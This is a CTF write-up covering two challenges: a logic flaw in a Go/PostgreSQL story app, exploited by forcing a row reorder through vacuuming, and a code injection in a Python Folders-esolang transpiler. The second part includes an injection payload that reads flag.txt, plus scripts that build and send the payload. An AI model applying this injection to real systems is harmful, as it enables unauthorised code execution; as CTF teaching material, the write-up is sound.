Web - Hero’s Journey
Challenge description
Hero’s Journey consists of a website in which you can create a story by writing in text to different sections as depicted in the following image:
So let’s exploit this!
Code review
This application is written in golang and uses PostgreSQL as the database of choice.
We find the following HTTP endpoints:
1
2
3
4
5
6
7
func (s *Server) RegisterRoutes(x *http.ServeMux) {
x.HandleFunc("/", s.index)
x.HandleFunc("/hero", s.hero)
x.HandleFunc("/create_hero", s.createHero)
x.HandleFunc("/update_event", s.updateEvent)
x.HandleFunc("/flag", s.flag)
}
Let’s take a look at what happens when we create a hero
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
func (s *Server) createHero(rw http.ResponseWriter, req *http.Request) {
lock.Lock()
defer lock.Unlock()
c, err := req.Cookie(cookieName)
if err != nil {
rw.WriteHeader(http.StatusBadRequest)
rw.Write([]byte{0x6e, 0x61, 0x68, 0x20, 0x62, 0x72, 0x75, 0x68})
return
}
tenant := uuid.MustParse(c.Value)
d := db.New(s.db, tenant)
if h, _ := d.GetHero(req.Context()); h != nil {
rw.WriteHeader(http.StatusBadRequest)
rw.Write([]byte("because of unintended solutions stemming from multiple paralell storylines, we cannot provide you with a second story, it would just be unfair to the challenge author who wants to see you suffer"))
return
}
events := []*models.Event{}
err = json.Unmarshal([]byte(req.URL.Query().Get("events")), &events)
if err != nil {
rw.WriteHeader(http.StatusBadRequest)
rw.Write([]byte("bad json"))
return
}
last := 0
for _, e := range events {
if int(e.Type) != last && int(e.Type) != last+1 { // jikes
rw.Write([]byte("Get your words straight, Jack!"))
return
}
last = int(e.Type)
}
id, err := d.CreateHero(req.Context(), req.URL.Query().Get("name"), events)
if err != nil {
rw.Write([]byte(err.Error()))
return
}
http.Redirect(rw, req, "/hero?id="+strconv.Itoa(id), http.StatusFound)
}
In the first two lines of this function, we can see a mutex lock is called, this will prevent any race condition as all requests are handled one at a time.
We then ensure we have a cookie set and return an error if not.
Afterwards, it will create a new connection to the database and make sure our cookie is a valid UUID (As per RFC 4122), later checking if we already have created a hero with this cookie, in which case it will deny our request and return.
After this, it will JSON decode the values we have sent over the HTTP GET request and make sure it’s valid. The JSON we send over looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[
{
"type": 0,
"description": "Called into adventure"
},
{
"type": 1,
"description": "Refuses"
},
{
"type": 2,
"description": "meets"
},
{
"type": 3,
"description": "cross"
},
{
"type": 4,
"description": "step 4"
},
{
"type": 5,
"description": "step 5"
},
{
"type": 6,
"description": "step 6"
}
]
The code then checks if the order in which we sent the types is correct, from smallest to largest (0-6). However, a flaw that we can observe with the check of int(e.Type) != last && int(e.Type) != last+1
is that we can supply the same step multiple times. This will be handy later on.
We then create the hero with this story and redirect the user to its page!
Looking at the source of the flag page, we can see that a requirement for the story is that the struct:
1
2
3
4
5
6
7
8
type StorySimulation struct {
adventureAccepted bool
andTheyWereHappyEverAfter bool
mentorAlive bool
inKnownWorld bool
abyssDone bool
emotionalTransformationDone bool
}
Has the field andTheyWereHappyEverAfter
set to true. Let’s take a look at how the story is executed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
func simulate(events []*db.Event) (*StorySimulation, error) {
ss := NewStorySimulation()
for _, e := range events {
switch e.Type {
case models.CallToAdventure:
if !ss.inKnownWorld {
return nil, errors.New("what the hecking d...")
}
case models.Refusal:
ss.adventureAccepted = false
case models.MeetingMentor:
ss.mentorAlive = true
ss.adventureAccepted = true
case models.CrossingThreashold:
if !ss.adventureAccepted {
return nil, errors.New("that doesn't make any sense!")
}
ss.inKnownWorld = false
case models.Abyss:
if ss.inKnownWorld {
return nil, errors.New("wrong place")
}
ss.abyssDone = true
case models.DeathOfMentor:
if ss.inKnownWorld {
return nil, errors.New("keep your facts straight")
}
ss.mentorAlive = false
ss.emotionalTransformationDone = true
case models.Return:
if !ss.abyssDone {
return nil, errors.New("need to abyss yourself first!")
}
if ss.inKnownWorld {
return nil, errors.New("returning in wierd ways are for the pwn people! stop trying to be quirky")
}
if !ss.emotionalTransformationDone {
return nil, errors.New("don't try to trick me again! get your act together")
}
if ss.mentorAlive {
ss.andTheyWereHappyEverAfter = true
}
ss.inKnownWorld = true
return ss, nil
default:
fmt.Println(e.Type)
return nil, errors.New("are you mad!?")
}
}
return nil, errors.New("oi bruv")
}
By default, the struct is initiated with all values set to false except for inKnownWorld
.
Let’s see what happens on each step:
- Step 0: Checks
inKnownWorld
istrue
- Step 1: Set
adventureAccepted
tofalse
- Step 2: Set
mentorAlive
andadventureAccepted
totrue
- Step 3: Checks
adventureAccepted
istrue
, then setinKnownWorld
tofalse
- Step 4: Checks
inKnownWorld
isfalse
and setsabyssDone
totrue
- Step 5: Checks
inKnownWorld
isfalse
and setsmentorAlive
tofalse
andemotionalTransformationDone
totrue
- Step 6: Checks
abyssDone
andemotionalTransformationDone
is set to true andinKnownWorld
is set tofalse
. IfmentorAlive
istrue
, then it gives us the flag, then it returns the struct state and sets ininKnownWorld
totrue
This may sound like a mess but it simply means that we need to execute all steps in order, but execute step 2 before step 6 if we want the flag. But… how can we do this?
The check from before makes sure that the story is always in order, so we cannot just send the value in the incorrect position.
Let’s take a look at another endpoint, used to update a stage in the story. What this function does is just modify the description of one of the stages, nothing else. However, it will only update the values if the values are in order.
The function to query the stages when we want to get the flag executes them in the order they are within the database. This makes an exploit possible.
When we update values in Postgres, it will copy the row we are editing and send it to the bottom, leaving its previous space behind.
So, we can modify the order of the stages after we have created the story, so it seems like the obvious next step would be to update all the values in the order we want them to be executed. However, this is not possible because the order check is executed before any change, so as soon as we update one value and the table becomes disorganised, we will not be able to edit any more descriptions.
We need to abuse another of PostgreSQL’s features, this is called vacuuming.
Let’s imagine that the picture above depicts a table with 7 rows. These rows contain the stages 0 through 6.
As we explained before, when we update the values of the table, they will be cloned and put at the bottom, leaving behind an empty space
One might think that the next value we update will be put into the empty row, as to reuse space. However, this does not happen. Or at least until the table is “vacuumed”.
The empty spaces are non-writable. However, when the table is vacuumed, these become writable. When PostgreSQL then searches for the first place it can write into, it will not be the end of the table, it will be the first of the empty writable rows.
This would mean that, after updating the last value (Which conserves the order of the stages so we can update another value in the future), it will create an empty row, and if we can somehow trigger a vacuum to the table, the next time we update a value it will be placed before the last stage. This is exactly what we want.
So, how exactly do we trigger this vacuum? PostgreSQL by default will automatically run this vacuum after 50 rows are “empty” in the table after 1 minute. So if we update the last value 50 times and then update stage 2, we will get the order of 1, 2, 3, 4, 5, 2, 6
. So let’s see the steps to exploit this.
- Create a hero with stage IDs of
1, 2, 2, 3, 4, 5, 6
- Update the description of the last stage 50 times.
- Wait a minute or two for safe measure.
- Update the description of stage 2.
- Go to /flag
- Profit
After we do this, we see the following page:
Misc - folderjail
Challenge description:
look at this amazing esolang i found from hackthebox cyber apolcogzlyaeze. nc chals.4.cursedc.tf 32001
Challenge code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/local/bin/python
import os
import shutil
import tarfile
from folders.folders import FolderAnalyzer, FolderTranspiler
TMP_DIR = '/tmp/program'
def unzip_tar_gz(hex_input):
tar_gz_data = bytes.fromhex(hex_input)
if os.path.exists(TMP_DIR):
shutil.rmtree(TMP_DIR)
os.makedirs(TMP_DIR, exist_ok=True)
with open(TMP_DIR + '/archive.tar.gz', 'wb') as f:
f.write(tar_gz_data)
with tarfile.open(TMP_DIR + '/archive.tar.gz', 'r:gz', dereference=False) as tar:
tar.extractall(TMP_DIR)
os.remove(TMP_DIR + '/archive.tar.gz')
hex_input = input("> ")
unzip_tar_gz(hex_input)
tokens = FolderAnalyzer(TMP_DIR).lex()
code = FolderTranspiler(tokens).transpile()
exec(code)
This challenge uses the esolang Folders in which your program is encoded in the directory structure of folders rather than in actual files. We can submit our directory program to the challenge server in a tar.gz file and it then gets interpeted by the Folders.py python library. Writing a program in the Folders language however isn’t enough for us to be able to read flag.txt from the challenge server as the Folders language only supports some basic functions. Instead we can exploit the python library as it has code injection. When we encode a string for example in Folders this library that converts it to Python doesn’t sanitize double quotes so we can simply include those in our string literal and provide whatever Python code we want after that.
We made this program to generate a folder tree that represent a string literal:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import os
s = b'");print(open("/app/flag.txt").read());print("'
os.mkdir("gen/")
for i in range(len(s)):
c = s[i]
h = hex(c)[2:]
os.mkdir(f"gen/{i}")
os.mkdir(f"gen/{i}/hex1")
os.mkdir(f"gen/{i}/hex2")
a, b = bin(int(h[0], 16))[2:].rjust(4, "0"), bin(int(h[1], 16))[2:].rjust(4, "0")
for j in range(len(a)):
d = a[j]
os.mkdir(f"gen/{i}/hex1/{j}")
if d == "1":
os.mkdir(f"gen/{i}/hex1/{j}/1")
for j in range(len(b)):
d = b[j]
os.mkdir(f"gen/{i}/hex2/{j}")
if d == "1":
os.mkdir(f"gen/{i}/hex2/{j}/1")
Then we took the HelloWorld example from the Python library github and replaced the contents of “New Folder/New folder (2)/New Folder (3)” with the folders we generated.
Create the tar file with tar -czf payload.tar.gz .
Finally we submit the tar file to the server with this script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
def read_file_as_hex(file_path):
try:
with open(file_path, "rb") as file:
return file.read().hex()
except FileNotFoundError:
print(f"Error: File '{file_path}' not found.")
file_path = "lol.tar.gz"
hex = read_file_as_hex(file_path)
conn = remote('chals.4.cursedc.tf',32001)
conn.recvuntil(b'>')
conn.send(hex)
conn.interactive()
Initially I tried sending with netcat but that complained about unexpected EOF at 4096 which is some kind of terminal limitation.
Running the script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ python lol.py
[+] Opening connection to chals.4.cursedc.tf on port 32001: Done
/home/chieftan/ctf/cursedctf24/folderjail/lol.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
conn.send(hex)
[*] Switching to interactive mode
$
$
cursed{i_4ctually_H8_h4ck_th3_BOX}
No, seriously, this isn't a joke. Hack the Box kidnapped my family. They stole my Crocs. I hate them.
Because of Hack the Box, my bike brake broke and I almost died. Because of Hack the Box, I was banned from my favorite pub. Because of Hack the Box, Elon Musk banned me from Xitter.
Thank you Hack the Box for giving me a $15 Giftcard. I will be sure to use this gift card to purchase a shirt that is not overpriced in any way.
Hack The Box is a Great Place to Study Cybersecurity and Learn about offensive Hacking and cyberfsecurity of the securting cyber cybe fcy e rbc yebrf shas theo ahck the box hjajklfndsob tose hosd thuos pdohbvsodufhbnsdop;fbhno
[*] Got EOF while reading in interactive